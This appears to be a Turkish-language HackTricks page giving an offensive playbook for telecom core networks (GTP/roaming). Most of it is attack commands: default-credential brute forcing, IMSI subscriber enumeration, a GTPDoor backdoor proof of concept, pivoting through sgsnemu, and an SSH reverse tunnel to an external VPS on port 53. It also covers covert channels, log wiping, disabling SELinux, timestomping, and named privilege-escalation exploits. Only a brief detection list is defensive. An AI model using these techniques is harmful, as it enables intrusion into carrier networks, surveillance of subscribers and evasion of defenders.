Telekom Ağı İstismarı (GTP / Roaming Ortamları)
Reading time: 6 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
note
Mobil çekirdek protokolleri (GPRS Tünelleme Protokolü – GTP) genellikle yarı güvenilir GRX/IPX roaming omurgalarından geçer. Çünkü neredeyse hiç kimlik doğrulama olmadan düz UDP üzerinde çalışırlar, bir telekom perimetrinin içindeki herhangi bir ayak izi genellikle çekirdek sinyalleme katmanlarına doğrudan ulaşabilir. Aşağıdaki notlar, SGSN/GGSN, PGW/SGW ve diğer EPC düğümlerine karşı doğada gözlemlenen saldırgan teknikleri toplamaktadır.
1. Keşif & İlk Erişim
1.1 Varsayılan OSS / NE Hesapları
Şaşırtıcı derecede büyük bir tedarikçi ağ elemanları seti, root:admin
, dbadmin:dbadmin
, cacti:cacti
, ftpuser:ftpuser
gibi sabit kodlanmış SSH/Telnet kullanıcıları ile birlikte gelir. Özel bir kelime listesi, kaba kuvvet başarısını dramatik şekilde artırır:
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
Eğer cihaz yalnızca bir yönetim VRF'si sunuyorsa, önce bir jump host üzerinden geçin (aşağıdaki «SGSN Emu Tunnel» bölümüne bakın).
1.2 GRX/IPX İçinde Host Keşfi
Çoğu GRX operatörü hala omurga boyunca ICMP echo'ya izin vermektedir. GTP-C dinleyicilerini hızlı bir şekilde haritalamak için masscan
'i yerleşik gtpv1
UDP probeleri ile birleştirin:
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
2. Abone Sayımı – cordscan
Aşağıdaki Go aracı GTP-C PDP Bağlantı Oluşturma İsteği paketleri oluşturur ve yanıtları kaydeder. Her yanıt, sorgulanan IMSI'yi hizmet veren mevcut SGSN / MME'yi ve bazen de abonenin ziyaret ettiği PLMN'yi ortaya çıkarır.
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
Ana bayraklar:
--imsi
Hedef abone IMSI--oper
Ev / HNI (MCC+MNC)-w
Ham paketleri pcap'a yaz
İkili dosya içindeki önemli sabitler, taramaları genişletmek için yamanabilir:
pingtimeout = 3 // seconds before giving up
pco = 0x218080
common_tcp_ports = "22,23,80,443,8080"
3. GTP Üzerinden Kod Çalıştırma – GTPDoor
GTPDoor
, UDP 2123'ü bağlayan ve her gelen GTP-C paketini ayrıştıran küçük bir ELF hizmetidir. Yük, önceden paylaşılan bir etiketle başlarsa, geri kalanı (AES-128-CBC) şifre çözülür ve /bin/sh -c
aracılığıyla çalıştırılır. stdout/stderr, dışarıya hiçbir oturum oluşturulmadan Echo Response mesajları içinde dışarıya aktarılır.
Minimal PoC paketi (Python):
import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
Detection:
- herhangi bir hostun dengesiz Echo İstekleri göndermesi SGSN IP'lerine
- GTP versiyon bayrağı 1 olarak ayarlandığında mesaj türü = 1 (Echo) – spesifikasyondan sapma
4. Pivoting Through the Core
4.1 sgsnemu
+ SOCKS5
OsmoGGSN
, gerçek bir GGSN/PGW'ye doğru bir PDP bağlamı kurabilen bir SGSN emülatörü ile birlikte gelir. Müzakere edildikten sonra, Linux, dolaşım eşinden erişilebilen yeni bir tun0
arayüzü alır.
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 & # internal SOCKS proxy
Doğru bir güvenlik duvarı hair-pinning ile, bu tünel yalnızca sinyalizasyon olan VLAN'ları atlar ve sizi doğrudan veri düzlemine yönlendirir.
4.2 Port 53 Üzerinde SSH Ters Tünel
DNS, dolaşım altyapılarında neredeyse her zaman açıktır. İç bir SSH hizmetini VPS'inize :53 üzerinde dinleyecek şekilde açın ve daha sonra evden geri dönün:
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
GatewayPorts yes
'un VPS'de etkin olduğunu kontrol edin.
5. Gizli Kanallar
Kanal | Taşıma | Kod Çözme | Notlar |
---|---|---|---|
ICMP – EchoBackdoor | ICMP Echo Req/Rep | 4-byte anahtar + 14-byte parçalar (XOR) | tamamen pasif dinleyici, dışa trafik yok |
DNS – NoDepDNS | UDP 53 | A-kayıt oktetlerinde kodlanmış XOR (anahtar = funnyAndHappy ) | *.nodep alt alanını izler |
GTP – GTPDoor | UDP 2123 | özel IE'de AES-128-CBC blob | meşru GTP-C sohbeti ile karışır |
Tüm implantlar, ikili dosyalarını timestomp eden ve çökmesi durumunda yeniden başlatan izleyiciler uygular.
6. Savunma Kaçış Kılavuzu
# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
# Disable bash history
export HISTFILE=/dev/null
# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup # hide from top/htop
printf '\0' > /proc/$$/comm # appears as [kworker/1]
touch -r /usr/bin/time /usr/bin/chargen # timestomp
setenforce 0 # disable SELinux
7. Eski NE'de Yetki Yükseltme
# DirtyCow – CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
# PwnKit – CVE-2021-4034
python3 PwnKit.py
# Sudo Baron Samedit – CVE-2021-3156
python3 exploit_userspec.py
Temizlik ipucu:
userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c
8. Araç Kutusu
cordscan
,GTPDoor
,EchoBackdoor
,NoDepDNS
– önceki bölümlerde tanımlanan özel araçlar.FScan
: intranet TCP taramaları (fscan -p 22,80,443 10.0.0.0/24
)Responder
: LLMNR/NBT-NS sahte WPADMicrosocks
+ProxyChains
: hafif SOCKS5 pivotlamaFRP
(≥0.37) : NAT geçişi / varlık köprüleme
Tespit Fikirleri
- Create PDP Context Requests oluşturan SGSN/GGSN dışındaki herhangi bir cihaz.
- İç IP'lerden SSH el sıkışmaları alan standart dışı portlar (53, 80, 443).
- Karşılık gelen Echo Yanıtları olmadan sık sık Echo İstekleri – GTPDoor işaretlerini gösterebilir.
- Büyük, sıfır olmayan tanımlayıcı/sıra alanları ile yüksek ICMP echo-reply trafiği oranı.
Referanslar
- Palo Alto Unit42 – Küresel Telekom Ağlarının Sızılması
- 3GPP TS 29.060 – GPRS Tünelleme Protokolü (v16.4.0)
- 3GPP TS 29.281 – GTPv2-C (v17.6.0)
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.